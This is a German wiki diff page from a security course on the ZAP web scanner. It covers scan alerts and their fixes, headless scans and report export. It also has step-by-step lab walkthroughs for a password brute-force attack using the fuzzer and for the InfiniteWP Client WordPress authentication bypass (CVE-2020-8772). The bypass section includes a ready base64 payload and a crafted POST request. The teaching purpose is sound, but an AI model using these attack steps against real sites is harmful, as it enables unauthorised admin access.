Zap: Unterschied zwischen den Versionen

Aus Xinux Wiki
Zur Navigation springen Zur Suche springen
 
(4 dazwischenliegende Versionen desselben Benutzers werden nicht angezeigt)
Zeile 1: Zeile 1:
=Zap Grundlagen=
+
==Grundlagen==
==Einleitung==
+
ZAP (kurz für Zed Attack Proxy) ist ein quelloffener Sicherheitsscanner für Webanwendungen. Früher lief das Projekt als OWASP ZAP unter dem Dach des Open Web Application Security Project (OWASP). Das ist nicht mehr aktuell: ZAP hat OWASP 2023 verlassen und ist zum Software Security Project (unter der Linux Foundation) gewechselt, um die Finanzierung der Weiterentwicklung zu sichern. Seit September 2024 sind die Hauptentwickler bei Checkmarx angestellt, das Projekt wird seitdem als "ZAP by Checkmarx" geführt. Es bleibt dabei quelloffen, community-gesteuert und kostenlos - eine kommerzielle "Pro"-Version wie bei Burp Suite gibt es nicht.
ZAP (kurz fuer Zed Attack Proxy) ist ein quelloffener Sicherheitsscanner fuer Webanwendungen. Frueher lief das Projekt als OWASP ZAP unter dem Dach des Open Web Application Security Project (OWASP). Das ist nicht mehr aktuell: ZAP hat OWASP 2023 verlassen und ist zum Software Security Project (unter der Linux Foundation) gewechselt, um die Finanzierung der Weiterentwicklung zu sichern. Seit September 2024 sind die Hauptentwickler bei Checkmarx angestellt, das Projekt wird seitdem als "ZAP by Checkmarx" gefuehrt. Es bleibt dabei quelloffen, community-gesteuert und kostenlos - eine kommerzielle "Pro"-Version wie bei Burp Suite gibt es nicht.
 
  
*Es ist sowohl fuer Einsteiger in die Anwendungssicherheit als auch fuer professionelle Penetrationstester gedacht.
+
*Es ist sowohl für Einsteiger in die Anwendungssicherheit als auch für professionelle Penetrationstester gedacht.
*Als Proxy-Server eingesetzt ermoeglicht es, den gesamten durchlaufenden Datenverkehr zu manipulieren - auch Verkehr, der ueber HTTPS verschluesselt ist.
+
*Als Proxy-Server eingesetzt ermöglicht es, den gesamten durchlaufenden Datenverkehr zu manipulieren - auch Verkehr, der über HTTPS verschlüsselt ist.
*Es kann zusaetzlich in einem Daemon-Modus laufen und wird dann ueber eine REST-API gesteuert.
+
*Es kann zusätzlich in einem Daemon-Modus laufen und wird dann über eine REST-API gesteuert.
*ZAP wurde urspruenglich von Paros abgezweigt, einem aelteren Pentesting-Proxy.
+
*ZAP wurde ursprünglich von Paros abgezweigt, einem älteren Pentesting-Proxy.
*Es wird unter der Apache-Lizenz veroeffentlicht.
+
*Es wird unter der Apache-Lizenz veröffentlicht.
  
 
Einige der integrierten Funktionen:
 
Einige der integrierten Funktionen:
Zeile 16: Zeile 15:
 
*erzwungenes Browsing (Forced Browsing)
 
*erzwungenes Browsing (Forced Browsing)
 
*Fuzzer
 
*Fuzzer
*WebSocket-Unterstuetzung
+
*WebSocket-Unterstützung
 
*Skriptsprachen
 
*Skriptsprachen
*Plug-n-Hack-Unterstuetzung
+
*Plug-n-Hack-Unterstützung
 +
*Plugin-basierte Architektur mit einem Online-Marktplatz (ZAP Marketplace), über den sich neue oder aktualisierte Funktionen nachinstallieren lassen
  
*Es verfuegt ueber eine Plugin-basierte Architektur mit einem Online-Marktplatz (ZAP Marketplace), ueber den sich neue oder aktualisierte Funktionen nachinstallieren lassen.
+
==Installation==
 +
*apt install zaproxy
  
=Zap Installation=
+
==Automatischer Scan==
*apt install zaproxy
 
=Zap automatischer Scan=
 
=Scan=
 
 
*Automated Scan
 
*Automated Scan
 
*URL einfügen
 
*URL einfügen
Zeile 50: Zeile 48:
 
*User Controllable HTML Element Attribute (Potential XSS) (14)
 
*User Controllable HTML Element Attribute (Potential XSS) (14)
  
== ZAP-Fundstellen im Überblick ==
+
===ZAP-Fundstellen im Überblick===
 
+
ZAP nennt jede Fundstelle "Alert" - das hat nichts mit den [[GVM Alert|Alerts in GVM]] zu tun, wo damit Benachrichtigungen gemeint sind.
ZAP nennt jede Fundstelle "Alert" das hat nichts mit den [[GVM Alert|Alerts in GVM]] zu tun, wo damit Benachrichtigungen gemeint sind.
 
  
 
Die Zahl in Klammern gibt die Anzahl betroffener URLs an. "(Systemic)" bedeutet, dass der Befund die gesamte Anwendung betrifft; ZAP fasst dann zusammen, statt hunderte gleichartige Treffer zu listen.
 
Die Zahl in Klammern gibt die Anzahl betroffener URLs an. "(Systemic)" bedeutet, dass der Befund die gesamte Anwendung betrifft; ZAP fasst dann zusammen, statt hunderte gleichartige Treffer zu listen.
Zeile 71: Zeile 68:
 
|}
 
|}
  
=== Nachgewiesene Schwachstellen ===
+
====Nachgewiesene Schwachstellen====
 
 
 
{| class="wikitable"
 
{| class="wikitable"
 
! Fundstelle !! Erklärung !! Abhilfe
 
! Fundstelle !! Erklärung !! Abhilfe
 
|-
 
|-
| Remote OS Command Injection || Eingaben fließen in einen Systemaufruf. Mit Trennzeichen wie <code>;</code> oder <code>&#124;</code> hängt der Angreifer eigene Befehle an und führt Code auf dem Server aus mit den Rechten des Webserver-Prozesses. || Systemaufrufe mit Benutzerdaten vermeiden; wenn unvermeidbar, Argumente als Array übergeben statt als Kommandozeile
+
| Remote OS Command Injection || Eingaben fließen in einen Systemaufruf. Mit Trennzeichen wie <code>;</code> oder <code>&#124;</code> hängt der Angreifer eigene Befehle an und führt Code auf dem Server aus - mit den Rechten des Webserver-Prozesses. || Systemaufrufe mit Benutzerdaten vermeiden; wenn unvermeidbar, Argumente als Array übergeben statt als Kommandozeile
 
|-
 
|-
 
| SQL Injection || Eingaben landen ungefiltert in einer Datenbankabfrage. Reicht vom Lesen fremder Datensätze bis zum Umgehen der Anmeldung. || Prepared Statements mit gebundenen Parametern statt zusammengebauter Abfragestrings
 
| SQL Injection || Eingaben landen ungefiltert in einer Datenbankabfrage. Reicht vom Lesen fremder Datensätze bis zum Umgehen der Anmeldung. || Prepared Statements mit gebundenen Parametern statt zusammengebauter Abfragestrings
 
|-
 
|-
| Cross Site Scripting (DOM Based) || JavaScript liest Daten aus URL oder Fragment und schreibt sie über <code>innerHTML</code> ins Dokument. Läuft rein im Browser der Server sieht die Nutzlast nie. || Sichere DOM-Methoden wie <code>textContent</code>; keine ungeprüften Daten in <code>innerHTML</code>
+
| Cross Site Scripting (DOM Based) || JavaScript liest Daten aus URL oder Fragment und schreibt sie über <code>innerHTML</code> ins Dokument. Läuft rein im Browser - der Server sieht die Nutzlast nie. || Sichere DOM-Methoden wie <code>textContent</code>; keine ungeprüften Daten in <code>innerHTML</code>
 
|-
 
|-
 
| Cross Site Scripting (Reflected) || Eine Eingabe geht an den Server und erscheint unverändert in der Antwort. Angriff über präparierten Link, wirkt in der Sitzung des Opfers. || Kontextabhängige Ausgabekodierung
 
| Cross Site Scripting (Reflected) || Eine Eingabe geht an den Server und erscheint unverändert in der Antwort. Angriff über präparierten Link, wirkt in der Sitzung des Opfers. || Kontextabhängige Ausgabekodierung
 
|}
 
|}
  
=== Fehlende Schutzmaßnahmen ===
+
====Fehlende Schutzmaßnahmen====
 
 
 
Keine Lücken für sich genommen, aber sie erleichtern die Ausnutzung anderer Fehler.
 
Keine Lücken für sich genommen, aber sie erleichtern die Ausnutzung anderer Fehler.
  
Zeile 107: Zeile 102:
 
|}
 
|}
  
=== Informationspreisgabe ===
+
====Informationspreisgabe====
 
 
 
{| class="wikitable"
 
{| class="wikitable"
 
! Fundstelle !! Erklärung !! Abhilfe
 
! Fundstelle !! Erklärung !! Abhilfe
Zeile 116: Zeile 110:
 
| In Page Banner Information Leak || Versionsangaben im Seiteninhalt, etwa auf Standard- oder Fehlerseiten. || Standardseiten ersetzen
 
| In Page Banner Information Leak || Versionsangaben im Seiteninhalt, etwa auf Standard- oder Fehlerseiten. || Standardseiten ersetzen
 
|-
 
|-
| Information Disclosure Suspicious Comments || HTML-Kommentare mit Wörtern wie "TODO" oder "password". Meist harmlos, gelegentlich Hinweise auf interne Pfade oder Testzugänge. || Kommentare beim Ausliefern entfernen
+
| Information Disclosure - Suspicious Comments || HTML-Kommentare mit Wörtern wie "TODO" oder "password". Meist harmlos, gelegentlich Hinweise auf interne Pfade oder Testzugänge. || Kommentare beim Ausliefern entfernen
 
|}
 
|}
  
=== Hinweise ohne Sicherheitsrelevanz ===
+
====Hinweise ohne Sicherheitsrelevanz====
 
 
 
{| class="wikitable"
 
{| class="wikitable"
 
! Fundstelle !! Erklärung
 
! Fundstelle !! Erklärung
 
|-
 
|-
| Authentication Request Identified || ZAP hat Anmeldeformulare erkannt Hinweis darauf, wo für einen authentifizierten Scan Zugangsdaten hinterlegt werden können.
+
| Authentication Request Identified || ZAP hat Anmeldeformulare erkannt - Hinweis darauf, wo für einen authentifizierten Scan Zugangsdaten hinterlegt werden können.
 
|-
 
|-
 
| Modern Web Application || Die Anwendung nutzt viel JavaScript. Ein reiner HTML-Crawl erreicht nicht alle Funktionen; hier ist der AJAX-Spider nötig.
 
| Modern Web Application || Die Anwendung nutzt viel JavaScript. Ein reiner HTML-Crawl erreicht nicht alle Funktionen; hier ist der AJAX-Spider nötig.
 
|-
 
|-
| User Controllable HTML Element Attribute (Potential XSS) || Eingaben landen in HTML-Attributen. ZAP hat keinen Angriff nachgewiesen, nur den Weg beobachtet Prüfkandidaten, keine Befunde.
+
| User Controllable HTML Element Attribute (Potential XSS) || Eingaben landen in HTML-Attributen. ZAP hat keinen Angriff nachgewiesen, nur den Weg beobachtet - Prüfkandidaten, keine Befunde.
 
|}
 
|}
  
Zeile 135: Zeile 128:
 
{{Hinweis|Priorisiert wird nicht nach Farbe, sondern danach, wie tief ein Angreifer kommt: erst Command Injection (Codeausführung auf dem Server), dann SQL Injection (Datenbank), dann XSS (Browser des Opfers), zuletzt die fehlenden Header.}}
 
{{Hinweis|Priorisiert wird nicht nach Farbe, sondern danach, wie tief ein Angreifer kommt: erst Command Injection (Codeausführung auf dem Server), dann SQL Injection (Datenbank), dann XSS (Browser des Opfers), zuletzt die fehlenden Header.}}
  
=Zap Brute Force=
+
==Brute Force==
==Passwort liste laden==
+
===Passwortliste laden===
Die Passwortliste enthaelt haeufig verwendete, schwache Passwoerter und dient als Payload-Quelle fuer den Angriff.
+
Die Passwortliste enthält häufig verwendete, schwache Passwörter und dient als Payload-Quelle für den Angriff.
 
*wget https://www.xinux.de/downloads/bad-passwords
 
*wget https://www.xinux.de/downloads/bad-passwords
  
==ZAP starten und Browser oeffnen==
+
===ZAP starten und Browser öffnen===
ZAP faengt Requests standardmaessig nicht ab (Break ist aus) - anders als bei Burp gibt es kein Interception-Umschalten. ueber den eingebauten Browser wird der Proxy automatisch gesetzt und das ZAP-Zertifikat ist bereits importiert.
+
ZAP fängt Requests standardmäßig nicht ab (Break ist aus) - anders als bei Burp gibt es kein Interception-Umschalten. Über den eingebauten Browser wird der Proxy automatisch gesetzt und das ZAP-Zertifikat ist bereits importiert.
 
*Manual Explore
 
*Manual Explore
 
**Launch Browser
 
**Launch Browser
:''Es oeffnet sich ein Browser, dessen Verkehr komplett ueber ZAP laeuft.''
+
:''Es öffnet sich ein Browser, dessen Verkehr komplett über ZAP läuft.''
  
==Opfer aufrufen==
+
===Opfer aufrufen===
 
Im ZAP-Browser die Login-Seite des Opfers aufrufen.
 
Im ZAP-Browser die Login-Seite des Opfers aufrufen.
 
*http://opfer.sec-labs.de/scripts/login-simple.php
 
*http://opfer.sec-labs.de/scripts/login-simple.php
 
**Login Simple
 
**Login Simple
  
==Testlogin absenden==
+
===Testlogin absenden===
 
Einmal mit einem beliebigen Test-Passwort einloggen, damit der POST-Request mit allen Parametern in ZAP auftaucht.
 
Einmal mit einem beliebigen Test-Passwort einloggen, damit der POST-Request mit allen Parametern in ZAP auftaucht.
 
*User: xinux
 
*User: xinux
Zeile 157: Zeile 150:
 
:''Dieser Request dient als Vorlage - an ihm wird gleich die Payload-Position gesetzt.''
 
:''Dieser Request dient als Vorlage - an ihm wird gleich die Payload-Position gesetzt.''
  
==Request in den Fuzzer schicken==
+
===Request in den Fuzzer schicken===
 
Der abgesendete Request landet unten im History-Tab. Dies entspricht Burps "HTTP history".
 
Der abgesendete Request landet unten im History-Tab. Dies entspricht Burps "HTTP history".
 
*History (unten)
 
*History (unten)
**POST-Paket mit Params auswaehlen
+
**POST-Paket mit Params auswählen
 
*Rechte Maustaste auf den Request
 
*Rechte Maustaste auf den Request
 
**Attack
 
**Attack
 
***Fuzz...
 
***Fuzz...
:''Der ZAP-Fuzzer ist das Gegenstueck zu Burps Intruder - in ZAP voll und ungedrosselt nutzbar.''
+
:''Der ZAP-Fuzzer ist das Gegenstück zu Burps Intruder - in ZAP voll und ungedrosselt nutzbar.''
  
==Payload-Position markieren==
+
===Payload-Position markieren===
Im Fuzzer-Fenster wird der Request angezeigt. Statt wie bei Burp alle automatischen Positionen zu loeschen, wird die Position direkt durch Markieren gesetzt.
+
Im Fuzzer-Fenster wird der Request angezeigt. Statt wie bei Burp alle automatischen Positionen zu löschen, wird die Position direkt durch Markieren gesetzt.
 
;Im Request-Text den Passwort-Wert sux mit der Maus markieren
 
;Im Request-Text den Passwort-Wert sux mit der Maus markieren
 
;Rechts auf Add... klicken
 
;Rechts auf Add... klicken
:''Die markierte Stelle wird zur Fuzz-Position. Ein vorheriges "Clear" wie bei Burp ist nicht noetig.''
+
:''Die markierte Stelle wird zur Fuzz-Position. Ein vorheriges "Clear" wie bei Burp ist nicht nötig.''
  
==Payloads laden==
+
===Payloads laden===
 
Jetzt wird der markierten Position die Passwortliste als Payload-Quelle zugewiesen.
 
Jetzt wird der markierten Position die Passwortliste als Payload-Quelle zugewiesen.
 
;Im Payloads-Dialog auf Add... klicken
 
;Im Payloads-Dialog auf Add... klicken
;Type: File waehlen und die Datei bad-passwords laden
+
;Type: File wählen und die Datei bad-passwords laden
:''Alternativ Type: Strings - das entspricht Burps "Simple list", bei der die Eintraege direkt untereinander eingefuegt werden.''
+
:''Alternativ Type: Strings - das entspricht Burps "Simple list", bei der die Einträge direkt untereinander eingefügt werden.''
  
==Erfolg erkennen==
+
===Erfolg erkennen===
ZAP hat keinen fertigen "Grep-Match"-Haken wie Burp. Der erfolgreiche Login wird stattdessen ueber die Antwortgroesse erkannt: Eine erfolgreiche Anmeldung liefert eine andere Seite als eine fehlgeschlagene, also weicht die Laenge der Antwort ab.
+
ZAP hat keinen fertigen "Grep-Match"-Haken wie Burp. Der erfolgreiche Login wird stattdessen über die Antwortgröße erkannt: Eine erfolgreiche Anmeldung liefert eine andere Seite als eine fehlgeschlagene, also weicht die Länge der Antwort ab.
 
*Fuzzer starten
 
*Fuzzer starten
 
*In der Ergebnisliste nach der Spalte '''Size Resp. Body''' sortieren
 
*In der Ergebnisliste nach der Spalte '''Size Resp. Body''' sortieren
:''Der Treffer faellt durch die abweichende Laenge sofort auf. Diese Spalte entspricht Burps "Length".''
+
:''Der Treffer fällt durch die abweichende Länge sofort auf. Diese Spalte entspricht Burps "Length".''
  
==Angriff starten==
+
===Angriff starten===
*Start Fuzzer druecken
+
*Start Fuzzer drücken
:''ZAP arbeitet die komplette Passwortliste ab. Die Content-Length muss nicht angepasst werden - ZAP korrigiert sie beim Fuzzen automatisch. Die Anzahl paralleler Threads laesst sich im Fuzzer unter Options einstellen.''
+
:''ZAP arbeitet die komplette Passwortliste ab. Die Content-Length muss nicht angepasst werden - ZAP korrigiert sie beim Fuzzen automatisch. Die Anzahl paralleler Threads lässt sich im Fuzzer unter Options einstellen.''
  
==Optional: automatisch auf einen Text in der Antwort pruefen==
+
===Optional: automatisch auf einen Text in der Antwort prüfen===
Wer den Treffer nicht ueber die Groesse, sondern ueber einen bestimmten Text in der erfolgreichen Antwort (z.B. das Wort Hallo) erkennen will, kann ein kleines Processor-Script einhaengen. Es benoetigt das Skripting-Add-on, das in ZAP kostenlos enthalten ist.
+
Wer den Treffer nicht über die Größe, sondern über einen bestimmten Text in der erfolgreichen Antwort (z.B. das Wort Hallo) erkennen will, kann ein kleines Processor-Script einhängen. Es benötigt das Skripting-Add-on, das in ZAP kostenlos enthalten ist.
 
;Fuzzer HTTP Processor-Script
 
;Fuzzer HTTP Processor-Script
 
<syntaxhighlight lang="javascript">
 
<syntaxhighlight lang="javascript">
Zeile 200: Zeile 193:
 
}
 
}
 
</syntaxhighlight>
 
</syntaxhighlight>
:''Das Script im Fuzzer unter Message Processors einhaengen. Bei einem Treffer erscheint in einer eigenen Spalte der Wert JA.''
+
:''Das Script im Fuzzer unter Message Processors einhängen. Bei einem Treffer erscheint in einer eigenen Spalte der Wert JA.''
 +
 
 +
==Report für Faraday==
 +
Ziel: Den ZAP-Scan als XML exportieren, damit er sich in Faraday importieren lässt. Faraday besitzt einen Parser für das klassische ZAP-XML-Format; deshalb wird hier die Vorlage "Traditional XML Report" verwendet und nicht HTML oder PDF.
 +
 
 +
===Report generieren===
 +
*Menü Report
 +
**Generate Report...
 +
 
 +
Es öffnet sich der Dialog "Generate Report" mit den Reitern Scope, Template, Filter und Options.
 +
 
 +
===Template: Traditional XML auswählen===
 +
Im Reiter Template die Vorlage einstellen:
 +
 
 +
{| class="wikitable"
 +
! Feld !! Wert
 +
|-
 +
| Template || Traditional XML Report
 +
|-
 +
| Theme || (leer, für XML ohne Bedeutung)
 +
|-
 +
| Sections || No sections defined
 +
|}
 +
 
 +
===Scope: Ziel und Ausgabe festlegen===
 +
Im Reiter Scope die Ausgabedatei und den Umfang festlegen. Die folgenden Werte sind das Beispiel aus dem Kurs:
 +
 
 +
{| class="wikitable"
 +
! Feld !! Beispielwert !! Bedeutung
 +
|-
 +
| Report Title || ZAP Scanning Report || Titel im Report
 +
|-
 +
| Report Name || 2022-10-06-ZAP-Report-.xml || Dateiname der Ausgabe
 +
|-
 +
| Report Directory || /home/xinux || Zielverzeichnis
 +
|-
 +
| Description || (leer) || optionaler Beschreibungstext
 +
|-
 +
| Contexts || Default Context || einbezogener ZAP-Kontext
 +
|-
 +
| Sites || http://10.0.10.104 || gescanntes Ziel, das in den Report soll
 +
|-
 +
| Generate If No Alerts || aus || ohne Funde keinen Report erzeugen
 +
|-
 +
| Display Report || an || Report nach dem Erzeugen gleich anzeigen
 +
|}
 +
 
 +
*Generate Report drücken
 +
 
 +
===Ergebnis===
 +
ZAP schreibt die Datei in das angegebene Verzeichnis und öffnet sie (bei aktiviertem Display Report) im Browser. Die Datei enthält keine Style-Information, der Browser zeigt daher den reinen XML-Baum an.
 +
 
 +
Aufbau der XML (gekürzt):
 +
 
 +
<syntaxhighlight lang="xml">
 +
<OWASPZAPReport version="2.11.1" generated="Thu, 6 Oct 2022 15:02:21">
 +
  <site name="http://10.0.10.104" host="10.0.10.104" port="80" ssl="false">
 +
    <alerts>
 +
      <alertitem>
 +
        <pluginid>40026</pluginid>
 +
        <alertRef>40026</alertRef>
 +
        <alert>Cross Site Scripting (DOM Based)</alert>
 +
        <name>Cross Site Scripting (DOM Based)</name>
 +
        <riskcode>3</riskcode>
 +
        <confidence>3</confidence>
 +
        <riskdesc>High (High)</riskdesc>
 +
        <confidencedesc>High</confidencedesc>
 +
        <desc>...</desc>
 +
        <instances>
 +
          <instance>
 +
            <uri>http://10.0.10.104/login.php#...</uri>
 +
          </instance>
 +
        </instances>
 +
      </alertitem>
 +
    </alerts>
 +
  </site>
 +
</OWASPZAPReport>
 +
</syntaxhighlight>
 +
 
 +
{{Hinweis|Das Wurzelelement heißt weiterhin <code>OWASPZAPReport</code>, obwohl ZAP kein OWASP-Projekt mehr ist. Der Name ist Teil des Dateiformats und wurde aus Kompatibilitätsgründen beibehalten - Faraday und andere Parser erkennen den Report daran.}}
 +
 
 +
{{Hinweis|<code>riskcode</code> entspricht der Risikostufe: 3 = High, 2 = Medium, 1 = Low, 0 = Informational. <code>confidence</code> gibt an, wie sicher ZAP beim Fund ist.}}
 +
 
 +
==CLI / Headless-Scan ohne Docker==
 +
Der Headless-Modus ermöglicht automatisierte Scans ohne grafische Oberfläche, ideal für die Integration in CI/CD-Pipelines, regelmäßige Sicherheitstests und die automatisierte Berichterstellung. Der Quick-Scan über die Kommandozeile führt immer die gleiche Kette aus: Er ruft die URL auf, lässt den Spider die Seite crawlen und startet anschließend den aktiven Scanner mit der Standard-Scan-Policy.
 +
 
 +
===Grundlegender Scan===
 +
Der einfachste Befehl für einen schnellen Scan mit HTML-Report:
 +
 
 +
<pre>
 +
/usr/share/zaproxy/zap.sh -cmd -quickurl "http://victim.secure.local" -quickout "/tmp/report.html"
 +
</pre>
 +
 
 +
Mit <code>-quickprogress</code> zeigt ZAP zusätzlich ASCII-Fortschrittsbalken an.
 +
 
 +
===Report-Format wählen===
 +
<code>-quickout</code> gibt genau eine Datei aus. Das Format ergibt sich aus der Dateiendung:
 +
 
 +
{| class="wikitable"
 +
! Endung !! Format
 +
|-
 +
| .html || HTML-Report
 +
|-
 +
| .json || JSON
 +
|-
 +
| .xml || XML (auch der Standard, wenn keine der Endungen passt)
 +
|-
 +
| .md || Markdown
 +
|}
 +
 
 +
<pre>
 +
/usr/share/zaproxy/zap.sh -cmd -quickurl "http://victim.secure.local" -quickout "/tmp/report.xml"
 +
</pre>
 +
 
 +
{{Hinweis|Mehrere Formate lassen sich nicht durch mehrfaches <code>-quickout</code> in einem Aufruf erzeugen - nur die letzte Angabe zählt. Für mehrere Formate entweder den Scan je Format erneut starten oder besser die API bzw. das Automation Framework nutzen, die aus einer Sitzung mehrere Reports schreiben, ohne erneut anzugreifen.}}
 +
 
 +
===Einzelne Scan-Phasen steuern===
 +
Spider und aktiver Scan lassen sich über die Quick-Start-Kommandozeile nicht getrennt aufrufen - Flags wie <code>-spider</code> oder <code>-activescan</code> gibt es dort nicht. Wer die Phasen einzeln oder mit mehr Kontrolle fahren will (Authentifizierung, eigene Policy, nur Spider), nutzt eine der folgenden Automatisierungen:
 +
 
 +
*'''Automation Framework''' - ein YAML-Plan, gestartet mit <code>-autorun plan.yaml</code>. Empfohlen für alles Nicht-Triviale, nicht an Docker gebunden.
 +
*'''API und Daemon''' - volle Kontrolle über die REST-API (siehe unten).
 +
 
 +
===API-Methode===
 +
Für maximale Flexibilität ZAP als Daemon starten und über die API steuern:
 +
 
 +
<pre>
 +
# ZAP als Daemon starten (API-Key für ein Labor deaktiviert)
 +
/usr/share/zaproxy/zap.sh -daemon -port 8080 -config api.disablekey=true
 +
 
 +
# Report per API generieren
 +
curl "http://localhost:8080/JSON/reports/action/generate/\
 +
?title=Scan-Report\
 +
&template=traditional-html\
 +
&reportFileName=report.html\
 +
&reportDir=/tmp"
 +
</pre>
 +
 
 +
{{Hinweis|<code>api.disablekey=true</code> schaltet den API-Schlüssel ab - nur im abgeschotteten Labor vertretbar. In produktiven Umgebungen den Key gesetzt lassen und mitschicken.}}
 +
 
 +
===Tipps===
 +
*Speicherlimit erhöhen: <code>-Xmx4096m</code> (4 GB RAM) als Java-Argument mitgeben
 +
*Für nicht-triviale Scans (Login, eigene Policy, mehrere Reports) auf das Automation Framework wechseln
 +
*Der Quick-Scan greift das Ziel aktiv an - nur gegen Systeme laufen lassen, für die eine Freigabe vorliegt
 +
=ZAP Authentication Bypass Wordpress=
 +
==Anforderungen==
 +
Das Ziel muss das WordPress-Plugin "InfiniteWP Client" in einer Version kleiner als 1.9.4.5 installiert haben.
 +
 
 +
{{Hinweis|Das Plugin kann auch in einer Version kleiner als 1.9.4.5 sicher sein, falls der Administrator die Schwachstelle manuell behoben hat.}}
 +
 
 +
===Plugin-Version ermitteln===
 +
*Greenbone-Scan durchführen
 +
*wpscan durchführen
 +
 
 +
===Weitere Voraussetzungen===
 +
*Der Angreifer muss den Benutzernamen des Admins kennen.
 +
*Der Benutzername "admin" ist bei Standard-WordPress-Installationen häufig gesetzt und kann per wpscan oder Greenbone-Fund bestätigt werden.
 +
 
 +
==Funktionsweise der Schwachstelle==
 +
Das Plugin prüft bei bestimmten Aktionen nicht, ob der Aufrufer authentifiziert ist. Stattdessen wertet es einen POST-Parameter aus, der eine base64-kodierte JSON-Struktur mit dem Präfix <code>_IWP_JSON_PREFIX_</code> enthält. Enthält dieser Parameter einen gültigen Admin-Benutzernamen, meldet das Plugin den Benutzer ohne Passwortprüfung an. Der Angriff besteht also darin, einen solchen Parameter in einen POST-Request an die WordPress-Startseite einzuschleusen.
 +
 
 +
==Payload erstellen==
 +
===Warum Base64-Kodierung?===
 +
Das Plugin erwartet die Nutzdaten base64-kodiert. Hintergrund: [[Base64 Kodierung]]
 +
 
 +
===JSON-Struktur===
 +
Die Nutzdaten bestehen aus einem JSON-Objekt mit der Aktion und dem Zielbenutzernamen:
 +
 
 +
<pre>
 +
{"iwp_action":"add_site","params":{"username":"admin"}}
 +
</pre>
 +
 
 +
===In Base64 umwandeln===
 +
<pre>
 +
echo '{"iwp_action":"add_site","params":{"username":"admin"}}' | base64 -w0
 +
</pre>
 +
 
 +
Ergebnis:
 +
<pre>
 +
eyJpd3BfYWN0aW9uIjoiYWRkX3NpdGUiLCJwYXJhbXMiOnsidXNlcm5hbWUiOiJhZG1pbiJ9fQo=
 +
</pre>
 +
 
 +
===Fertiger Payload===
 +
Den base64-String an den Präfix anhängen - kein Leerzeichen dazwischen:
 +
 
 +
<pre>
 +
_IWP_JSON_PREFIX_eyJpd3BfYWN0aW9uIjoiYWRkX3NpdGUiLCJwYXJhbXMiOnsidXNlcm5hbWUiOiJhZG1pbiJ9fQo=
 +
</pre>
 +
 
 +
==Angriff mit ZAP==
 +
Das Gegenstück zu Burps Intercept ist in ZAP die Break-Funktion. Ein abgefangener Request landet im "Break"-Tab und kann dort direkt bearbeitet werden.
 +
 
 +
===ZAP starten und Browser öffnen===
 +
*Manual Explore
 +
**Launch Browser
 +
:''Der Browser läuft über den ZAP-Proxy; das ZAP-Zertifikat ist bereits importiert.''
 +
 
 +
===Break aktivieren===
 +
*In der ZAP-Werkzeugleiste auf das Break-Symbol klicken (roter Kreis) oder Strg+B drücken
 +
:''Break ist jetzt aktiv - ZAP hält den nächsten Request an, bevor er das Ziel erreicht.''
 +
 
 +
===Opfer-Website aufrufen===
 +
Im ZAP-Browser zur WordPress-Startseite navigieren:
 +
*http://wordpress.secure.local
 +
 
 +
Der abgefangene GET-Request erscheint im "Break"-Tab.
 +
 
 +
===Request von GET auf POST umstellen===
 +
Im Break-Tab den Request direkt bearbeiten:
 +
;Erste Zeile von <code>GET / HTTP/1.1</code> auf <code>POST / HTTP/1.1</code> ändern
 +
;Unterhalb der bestehenden Header eine Leerzeile lassen und dann den Payload eintragen:
 +
 
 +
<pre>
 +
POST / HTTP/1.1
 +
Host: wordpress.secure.local
 +
Upgrade-Insecure-Requests: 1
 +
Content-Type: application/x-www-form-urlencoded
 +
Content-Length: 0
 +
 
 +
_IWP_JSON_PREFIX_eyJpd3BfYWN0aW9uIjoiYWRkX3NpdGUiLCJwYXJhbXMiOnsidXNlcm5hbWUiOiJhZG1pbiJ9fQo=
 +
</pre>
 +
 
 +
{{Hinweis|ZAP passt die Content-Length beim Absenden nicht automatisch an, wenn man den Body manuell einträgt. Den Wert daher selbst auf die tatsächliche Byte-Länge des Payloads setzen oder nach dem Eintragen prüfen.}}
 +
 
 +
===Request absenden===
 +
*Im Break-Tab auf "Submit" (Pfeil-Symbol) klicken
 +
:''Der manipulierte POST-Request wird an das Ziel weitergeleitet.''
 +
 
 +
===Break deaktivieren===
 +
*Erneut auf das Break-Symbol klicken oder Strg+B drücken
 +
:''Weitere Requests laufen jetzt wieder ungehalten durch.''
 +
 
 +
===Opfer-Website neu laden===
 +
Im ZAP-Browser die WordPress-Seite neu laden.
 +
 
 +
==Resultat==
 +
Die WordPress-Seite lädt nun mit der Admin-Leiste am oberen Rand - "Willkommen, admin" ist rechts oben sichtbar. Der Angreifer ist ohne Passwort als Administrator angemeldet.
 +
 
 +
==CVE==
 +
*CVE-2020-8772
  
*[[zap allgemein]]
+
==Links==
*[[zap installation]]
+
*[https://blog.pentesteracademy.com/cve-2020-8772-exploitation-under-3-minutes-594265b4e26a Bypass - Pentester Academy]
*[[zap automatischer scan]]
 
*[[zap mit anderem Browser]]
 
*[[zap manueller scan]]
 
*[[zap xml für faraday]]
 
*[[zap cli scans]]
 

Aktuelle Version vom 12. September 2026, 09:52 Uhr

Grundlagen

ZAP (kurz für Zed Attack Proxy) ist ein quelloffener Sicherheitsscanner für Webanwendungen. Früher lief das Projekt als OWASP ZAP unter dem Dach des Open Web Application Security Project (OWASP). Das ist nicht mehr aktuell: ZAP hat OWASP 2023 verlassen und ist zum Software Security Project (unter der Linux Foundation) gewechselt, um die Finanzierung der Weiterentwicklung zu sichern. Seit September 2024 sind die Hauptentwickler bei Checkmarx angestellt, das Projekt wird seitdem als "ZAP by Checkmarx" geführt. Es bleibt dabei quelloffen, community-gesteuert und kostenlos - eine kommerzielle "Pro"-Version wie bei Burp Suite gibt es nicht.

  • Es ist sowohl für Einsteiger in die Anwendungssicherheit als auch für professionelle Penetrationstester gedacht.
  • Als Proxy-Server eingesetzt ermöglicht es, den gesamten durchlaufenden Datenverkehr zu manipulieren - auch Verkehr, der über HTTPS verschlüsselt ist.
  • Es kann zusätzlich in einem Daemon-Modus laufen und wird dann über eine REST-API gesteuert.
  • ZAP wurde ursprünglich von Paros abgezweigt, einem älteren Pentesting-Proxy.
  • Es wird unter der Apache-Lizenz veröffentlicht.

Einige der integrierten Funktionen:

  • abfangender Proxy-Server (Intercepting Proxy)
  • traditionelle und AJAX-Webcrawler
  • automatisierter (aktiver) Scanner
  • passiver Scanner
  • erzwungenes Browsing (Forced Browsing)
  • Fuzzer
  • WebSocket-Unterstützung
  • Skriptsprachen
  • Plug-n-Hack-Unterstützung
  • Plugin-basierte Architektur mit einem Online-Marktplatz (ZAP Marketplace), über den sich neue oder aktualisierte Funktionen nachinstallieren lassen

Installation

  • apt install zaproxy

Automatischer Scan

  • Automated Scan
  • URL einfügen
  • Attack

